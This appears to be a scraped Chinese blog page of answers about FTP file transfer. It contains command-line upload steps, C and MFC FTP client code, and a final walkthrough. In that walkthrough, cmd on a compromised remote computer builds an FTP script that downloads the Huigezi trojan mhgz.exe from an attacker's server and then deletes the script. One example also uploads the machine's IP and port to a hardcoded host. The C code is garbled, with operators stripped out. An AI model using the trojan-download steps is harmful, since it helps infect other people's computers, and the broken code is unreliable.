×

cftp传文件

cftp传文件(cftp文件损坏)

admin admin 发表于2023-04-03 23:36:09 浏览66 评论0

抢沙发发表评论

本文目录一览:

ftp命令怎么上传文件夹??

1、输入命令行:-- FTP 10.1.61.212如果对方没有开启FTP服务,那么这个命令就不会有效果。

2、-- 用户名称:这个主要是FTP服务器配置的用户名和密码

-- 用户密码:

3、主要是使用二进制来传输文件,-- bin

-- quote tpye c 1381这个意思是指定服务器端的代码页,如果传输的是IFS流文件,不用做转换,直接用BINARY的模式传输文件。不会出现编码错误。

4、-- lcd D:\Document\data\upload 这个命令主要是进去本地文件夹目录用来上传文件的本地路径目录。

5、进入主机的目录,也就是FTP服务器的路径cd CBSDOTHDTA

-- put "D:/Document/data/upload/UPFW90.FRZN160919",使用put命令上传文件。

6、put "D:/Document/data/upload/UPFW90.FRZN160919"命令执行成功之后,会在后面出来三个交易码主要是200、150、226这都是成功的交易码。完成效果图。

如何在unix下,c语言中实现ftp文件传输

nt FtpInit(char* Host,char* Account,char* Passwd)

{

short shPortNumber;

long lAddr;

char RecvBuf[1024];

char SendBuf[1024];

int RecvLen,SendLen;

shPortNumber=htons(21);

lAddr=inet_addr(Host);

memset(HostName,0,16);

memcpy(HostName,Host,strlen(Host));

hClient=socket(AF_INET,SOCK_STREAM,0);

if (hClient0)

{

return -1;

}

if(setsockopt(hClient,SOL_SOCKET,SO_RCVTIMEO,(char *)rcvtime,sizeof(int)))

{

close(hClient);

return -1;

}

if(setsockopt(hClient,SOL_SOCKET,SO_KEEPALIVE,(char *)keepalive,sizeof(int)))

{

close(hClient);

return -1;

}

SockAddr.sin_family = AF_INET;

SockAddr.sin_addr.s_addr = lAddr;

SockAddr.sin_port = shPortNumber;

if (connect(hClient,(const struct sockaddr *)SockAddr,sizeof(SockAddr))0)

{

close(hClient);

return -1;

}

memset(RecvBuf,0,1024);

if((RecvLen=FtpMatchReceive(hClient,RecvBuf, "220 ",1024))=0)

{

close(hClient);

return -1;

}

if(SendLen=GetFtpSendBuf("USER",Account,SendBuf,1024)=0)

{

close(hClient);

return -1 ;

}

if(SendFTPCommand(hClient,SendBuf)!=331)

{

close(hClient);

return -1;

}

if(SendLen=GetFtpSendBuf("PASS",Passwd,SendBuf,1024)=0)

{

close(hClient);

return -1 ;

}

if(SendFTPCommand(hClient,SendBuf)!=230)

{

close(hClient);

return -1;

}

}

int FtpGetFile(char * FileName)

{

int hListenSocket;

int hDataSocket;

int RetWriteFile;

int ReturnCode;

char RemoteFileName[256];

char RemoteFile[256];

char ExecCommand[256];

char * pcSubDir;

memset(RemoteFileName,0,256);

memset(RemoteFile,0,256);

memset(ExecCommand,0,256);

strcpy(RemoteFileName,FileName);

memcpy(ExecCommand,"CWD ",4);

pcSubDir=strrchr(RemoteFileName,'\\');

if (pcSubDir !=NULL)

{

strncat(ExecCommand,RemoteFileName,RemoteFileName-pcSubDir);

if(SendFTPCommand(hClient,ExecCommand)!=250)

{

close(hClient);

return -1;

}

strcpy(RemoteFile,pcSubDir);

}

else

{

strcpy(RemoteFile,RemoteFileName);

}

if((hListenSocket=CreatListenSocket(hClient))0)

{

close(hClient);

return -1;

}

if(RequestDataConnection(hClient,hListenSocket)0)

{

close(hClient);

return -1;

}

memset( ExecCommand,0,256);

memcpy( ExecCommand,"RETR ",5);

strcat( ExecCommand,RemoteFile);

printf("The FileName=%s\n",RemoteFile);

strcat( ExecCommand,"\r\n");

ReturnCode=SendFTPCommand(hClient,ExecCommand);

if(ReturnCode!=150)

{

close(hClient);

return -1;

}

if((hDataSocket=AcceptDataConnection(hListenSocket))0)

{

close(hClient);

return -1;

}

if((RetWriteFile=WriteFile(hDataSocket,RemoteFile))0)

{

close(hDataSocket);

close(hClient);

return -1;

}

}

C语言实现从FTP下载、上传文件

1.C语言可以使用CStdioFile函数打开本地文件。使用类CInternetSession 创建并初始化一个Internet打开FTP服务器文件。

  CStdioFile继承自CFile,一个CStdioFile 对象代表一个用运行时函数fopen 打开的C 运行时流式文件。

流式文件是被缓冲的,而且可以以文本方式(缺省)或二进制方式打开。文本方式提供对硬回车—换行符对的特殊处理。当你将一个换行符(0x0A)写入一个文本方式的CStdioFile 对象时,字节对(0x0D,0x0A)被发送给该文件。当你读一个文件时,字节对(0x0D,0x0A)被翻译为一个字节(0x0A)。-cftp传文件

CStdioFile 不支持Duplicate,LockRange,和UnlockRange 这几个CFile 函数。如果在CStdioFile 中调用了这几个函数,将会出现CNoSupported 异常。-cftp传文件

使用类CInternetSession 创建并初始化一个或多个同时的Internet 会话。如果需要,还可描述与代理服务器的连接。

如果Internet连接必须在应用过程中保持着,可创建一个类CWinApp的CInternetSession成员。一旦已建立起Internet 会话,就可调用OpenURL。CInternetSession会通过调用全局函数AfxParseURL来为分析映射URL。无论协议类型如何,CInternetSession 解释URL并管理它。它可处理由URL资源“file://”标志的本地文件的请求。如果传给它的名字是本地文件,OpenURL 将返回一个指向CStdioFile对象的指针。-cftp传文件

如果使用OpenURL在Internet服务器上打开一个URL,你可从此处读取信息。如果要执行定位在服务器上的指定的服务(例如,HTTP,FTP或Gopher)行为,必须与此服务器建立适当的连接。

2.例程:

#include winsock.h

#include stdio.h

WORD wVersionRequested;

WSADATA wsaData;

char name[255]; //name里是本机名

CString ip; //本机IP

PHOSTENT hostinfo;

wVersionRequested = MAKEWORD( 1, 1 );

if ( WSAStartup( wVersionRequested, wsaData ) == 0 )

{

if( gethostname ( name, sizeof(name)) == 0)

  {

if((hostinfo = gethostbyname(name)) != NULL)

{

ip = inet_ntoa (*(struct in_addr *)*hostinfo-h_addr_list);

}

}

WSACleanup( );

}  

// AfxMessageBox(name);//name里是本机名

// AfxMessageBox(ip); //ip中是本机IP

CStdioFile File;

File.Open("C://ip.txt",CFile::modeCreate|CFile::modeReadWrite);

//如果文件事先不存在的话,就需要CFile::modeCreate,否则就不需要。

File.WriteString(ip+":"+"8000");

File.Close();  //注意,这里一定要把文件关闭,否则不能成功上传

CString host="204.45.67.11";  

  CString user="19337";  

  CString password="1234567";  

  TRACE(":%s:%s:%s:%s/n", host,   

user, password, "C://ip.txt");  

  CInternetSession session  

(AfxGetApp()-m_pszAppName);  

  CFtpConnection* pConn = NULL;  

  pConn = session.GetFtpConnection (host,user,password);  

  if (pConn) {  

if (!pConn-PutFile("C://ip.txt","ip.txt"))

{  

MessageBox("传送文件失败??");  

} else {  

MessageBox("传送文件成功!");  

}  

pConn-Close();  

delete pConn;  

session.Close();  

  } else {  

MessageBox("Cannot Connect");  

  }

远程计算机怎么用FTP传文件啊

在远程计算机的cmd环境下,如果不能通过ipc$渠道传送文件,那就只有通过ftp下载文件了。

假设我们已经有一个ftp服务器,上面有一个我们配置好的灰鸽子木马文件mhgz.exe,我们应该知道ftp服务器的三个参数:

1、ftp服务器的ip地址:如203.75.44.34

2、ftp服务器的用户名:如tty

3、ftp服务器的密

码:如tty123

在远程计算机的cmd下依次输入下面的命令:

1、echo

open

203.75.44.34tty.txt

登陆ftp服务器

2、echo

ttytty.txt

用户名

3、echo

tty123tty.txt

密码

4、echo

bintty.txt

开始

5、echo

get

mhgz.exetty.txt

下载灰鸽子木马

6、echo

byetty.txt

关闭ftp服务器

输入上面命令后,在远程计算机上就会生成一个tty.txt文件,内容为:

open

203.75.44.34

tty

tty123

bin

get

mhgz.exe

bye

现在我们在远程计算机上执行下面的命令:

ftp

-s:tty.txt

意思是,读取tty.txt里的参数,执行ftp命令,命令执行完后,灰鸽子木马文件mhgz.exe就下载到对方计算机里了。

del

c:\tty.txt